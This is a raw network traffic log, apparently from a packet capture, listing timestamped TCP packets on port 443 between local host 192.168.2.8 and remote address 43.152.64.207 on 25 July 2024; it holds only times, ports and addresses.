Jul 25, 2024 15:13:37.814096928 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.823806047 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.823873043 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.823916912 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.823923111 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.823946953 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.824013948 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.826031923 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.826097965 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.826107025 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.826160908 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.828512907 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.828583956 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.828588963 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.828630924 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.832755089 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.832839012 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.832844973 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.832881927 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.839160919 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.839263916 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.839272976 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.839322090 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.846412897 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.846443892 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.846489906 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.846513987 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.846529961 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.846558094 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.865004063 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.865077972 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.865149975 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.865174055 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.865190983 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.865220070 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.868007898 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.868036032 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.868128061 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.868134975 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.868175030 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.932153940 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.932219982 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.932352066 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.932367086 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.932405949 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.932424068 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.933191061 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.933271885 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.933278084 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.933317900 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.936453104 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.936558008 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.936563969 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.936602116 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.938700914 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.938745975 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.938795090 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.938800097 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.938849926 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.942198038 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.942240953 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.942276955 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.942281961 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.942306042 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.942326069 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.944720030 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.944765091 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.944797993 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.944802999 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.944834948 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.944854975 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.947207928 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.947252035 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.947285891 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.947290897 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.947318077 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.947330952 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.947355986 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.947400093 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.948147058 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.948214054 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.948219061 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.948256969 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.950002909 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.950088978 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:37.950097084 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:37.950133085 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.076323986 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.076405048 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.076426029 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.076455116 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.076472044 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.076472044 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.076510906 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.090754986 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.090807915 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.090840101 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.090853930 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.090867996 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.090909004 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.100971937 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.101016045 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.101052046 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.101058006 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.101078987 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.101098061 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.107928991 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.107975006 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.108031034 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.108036041 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.108061075 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.108082056 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.108115911 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.108165026 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.108530998 CEST	49705	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.108537912 CEST	443	49705	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.153913021 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.153950930 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:38.154052973 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.154330969 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:38.154342890 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:40.164851904 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:40.164978027 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:40.165539026 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:40.165545940 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:40.165807009 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:40.165812016 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.638755083 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.638783932 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.638972998 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.638989925 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.639034986 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.650692940 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.650804996 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.650820971 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.650861979 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.726828098 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.727025986 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.727056026 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.727098942 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.733187914 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.733287096 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.733314037 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.733352900 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.738012075 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.738076925 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.738102913 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.738138914 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.743079901 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.743187904 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.743221998 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.743259907 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.745115995 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.745277882 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.745295048 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.745328903 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.829070091 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.829159021 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.829173088 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.829214096 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.832364082 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.832458973 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.832463980 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.832509995 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.833383083 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.833445072 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.833448887 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.833481073 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.833579063 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.833627939 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.833632946 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.833646059 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.833682060 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.833688021 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.833719969 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.840241909 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.840275049 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.840318918 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.840323925 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.840344906 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.840362072 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.914711952 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.914740086 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.914844990 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.914855003 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.914894104 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.921812057 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.921829939 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.921917915 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.921928883 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.921967983 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.926065922 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.926106930 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.926157951 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.926166058 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.926196098 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.926212072 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.927053928 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.927138090 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.927144051 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.927187920 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.941771984 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.941926003 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.941941977 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.941983938 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.942029953 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.942089081 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.942094088 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.942152977 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.945563078 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.945707083 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.945724010 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.945763111 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.946901083 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.947009087 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.947016001 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.947081089 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.947148085 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.947206974 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.947211981 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.947273970 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.949239016 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.949331999 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.949342012 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.949376106 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.950146914 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.950221062 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.950227976 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.950259924 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.952328920 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.952351093 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.952441931 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:41.952449083 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:41.952514887 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.015191078 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.015222073 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.015358925 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.015376091 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.015414000 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.018855095 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.018876076 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.018971920 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.018981934 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.019016027 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.026469946 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.026516914 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.026617050 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.026639938 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.026660919 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.026679039 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.030127048 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.030230045 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.030236959 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.030271053 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.032574892 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.032675982 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.032684088 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.032721043 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.037022114 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.037044048 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.037126064 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.037143946 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.037180901 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.040693045 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.040714025 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.040786028 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.040803909 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.040842056 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.044224977 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.044244051 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.044310093 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.044325113 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.044370890 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.052546978 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.052586079 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.052623987 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.052642107 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.052674055 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.052751064 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.058331966 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.058506966 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.058520079 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.058562040 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.102794886 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.102958918 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.102971077 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.103009939 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.107072115 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.107151031 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.107161999 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.107203960 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.129297972 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.129333973 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.129471064 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.129487991 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.129530907 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.133054972 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.133194923 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.133207083 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.133249044 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.137948036 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.138070107 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.138083935 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.138127089 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.143991947 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.144011974 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.144115925 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.144129038 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.144167900 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.155128956 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.155148029 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.155273914 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.155287027 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.155324936 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.164501905 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.164521933 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.164671898 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.164688110 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.164727926 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.171849966 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.171922922 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.171978951 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.171987057 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.172020912 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.172039032 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.177809954 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.177927971 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.177939892 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.177977085 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.180438995 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.180524111 CEST	49706	443	192.168.2.8	43.152.64.207
Jul 25, 2024 15:13:42.180531979 CEST	443	49706	43.152.64.207	192.168.2.8
Jul 25, 2024 15:13:42.180572987 CEST	49706	443	192.168.2.8	43.152.64.207
